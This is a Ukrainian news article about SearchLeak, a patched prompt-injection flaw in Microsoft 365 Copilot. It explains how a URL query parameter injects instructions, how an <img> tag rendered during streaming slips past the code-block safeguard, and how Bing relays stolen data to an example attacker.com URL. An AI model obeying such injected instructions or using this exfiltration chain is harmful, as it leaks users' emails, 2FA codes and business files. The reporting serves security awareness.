Вразливість SearchLeak демонструє, чому підхід індустрії до безпеки великих мовних моделей (LLM) зазнає невдач знову і знову.
У вівторок Microsoft усунула вразливість, яку оцінила як критичну, у своїй платформі ШІ M365 Copilot. У понеділок дослідники, які виявили цю вразливість і повідомили про неї Microsoft, продемонстрували, як їхній доказ концепції (proof-of-concept) може викрадати коди двофакторної автентифікації (2FA) та інші конфіденційні дані з електронних листів, доступних для Copilot.
Microsoft та інші постачальники LLM не можуть запобігти тому, щоб їхні продукти виконували зловмисні запити на розкриття даних. Основна причина: ШІ-боти не можуть розрізнити інструкції, надані користувачами, та ті, що були вставлені в сторонній контент, який моделі узагальнюють, відповідають на нього чи використовують для інших дій від імені користувача. Не маючи змоги захистити цей важливий кордон, Microsoft та інші компанії змушені створювати складні й тимчасові захисні механізми, призначені для обмеження наслідків цієї невиліковної наївності.
Обхід захисних механізмів
Один із захисних механізмів, вбудований у Copilot та більшість інших LLM, запобігає надсиланню веб-форм, електронних листів та подібних дій, які можуть бути використані для викрадення даних користувача. Щоб обійти це, хакери LLM почали використовувати мову розмітки, яка, серед іншого, дозволяє користувачам додавати до тексту форматування, таке як заголовки, списки та посилання, без необхідності використання HTML-тегів. Інший метод обходу — обгортання конфіденційних даних у HTML-теги, такі як <img> та <form>. У будь-якому випадку, веб-запит із даними надходить на веб-сервер зловмисника, де секретна інформація фіксується в журналах.
Один із захисних механізмів Microsoft обгортає виведення Copilot у блоки <code>, щоб браузер трактував його як звичайний текст. Інший полягає в обмеженні сайтів, які Copilot може відвідувати без явного дозволу. Хоча Copilot має загальний дозвіл надсилати запити на домени Microsoft, захисні механізми обмежують запити на недовірені сайти.
Компанія з кібербезпеки Varonis розробила ланцюжок експлойтів, який зміг подолати ці захисні механізми. Першим елементом був так званий Parameter-to-Prompt Injection. Параметром у цьому випадку є q в URL-адресі, який використовується для позначення запиту, що був включений. Parameter-to-Prompt Injection є близьким родичем Prompt Injection. Різниця полягає в тому, що зловмисна команда знаходиться в параметрі запиту, а не в електронному листі чи іншому недовіреному вмісті.
Для здійснення Parameter-to-Prompt Injection зловмисник надсилає жертві електронний лист, що містить URL-адресу з синтаксисом https://m365.cloud.microsoft/search/?auth=2&origindomain=microsoft365&q=. Поле містить інструкцію. Copilot без вагань виконав її.
«Функція пошуку — це саме те, що потрібно зловмисникам, адже навіть з обмеженими можливостями достатньо користувача з доступом до критичної інформації», — написали дослідники. «Щоб викрасти дані, зловмисник створює URL-адресу, яка наказує Copilot «Шукати електронні листи користувача», витягти заголовок та вбудувати його в URL-адресу зображення». Жертва нічого не набирає. Вона натискає на посилання, а Copilot робить все інше.
Зазвичай спрацьовував би захисний механізм, що обгортає виведення в блоки <code>. Але дослідники виявили, що захист спрацьовує лише після фази «мислення». До цього Copilot генерував свою відповідь за допомогою необробленого HTML, який тимчасово відображався в DOM браузера.
Дослідники написали:
Отже, послідовність виглядає так:
- Copilot починає транслювати свою відповідь, яка містить тег
<img>.- Браузер бачить
<img>, відображає його та надсилає HTTP-запит на URL-адресуsrc.- Copilot завершує генерацію. Захист обгортає все в
<code>.- Занадто пізно! Запит вже відправлено.
Тепер дослідники мали запит на зображення, що надсилався з браузера цільового користувача. Проблема, як зазначалося раніше, полягає в тому, що Copilot не надсилає запити на зображення на більшість веб-сайтів. Щоб масштабувати цей захисний механізм, ланцюжок експлойтів використовував пошукову систему Bing від Microsoft як своєрідний трамплін. Згідно з політикою безпеки вмісту Copilot, Bing є одним із сайтів, яким дозволено надсилати такі запити. Потім Bing надсилав запит на домен, контрольований зловмисником, який був включений до запиту. Запит виглядав приблизно так:
https://www.bing.com/images/searchbyimage?cbir=sbi&imgurl=https://attacker.com/STOLEN_DATA/image.png
Varonis назвала цю атаку SearchLeak.
«Оскільки SearchLeak націлений на корпоративний рівень Microsoft, зона ураження не обмежується особистими даними — він може отримати доступ до всього, до чого користувач має доступ в організації, включаючи електронні листи, запрошення на зустрічі та нотатки», — написали дослідники компанії. «Документи SharePoint, файли OneDrive та інший індексований бізнес-контент. Залежно від того, як M365 підключено до середовища, зона ураження може бути ще ширшою».
Як зазначалося, Microsoft виправила вразливості, які використовував SearchLeak, у вівторок. Однак, оскільки немає відомого способу виправити першопричину таких помилок, зловмисники неминуче знайдуть нові способи обійти новостворені захисні механізми, і процес повториться знову.
Подробиці можна знайти на сайті: arstechnica.com
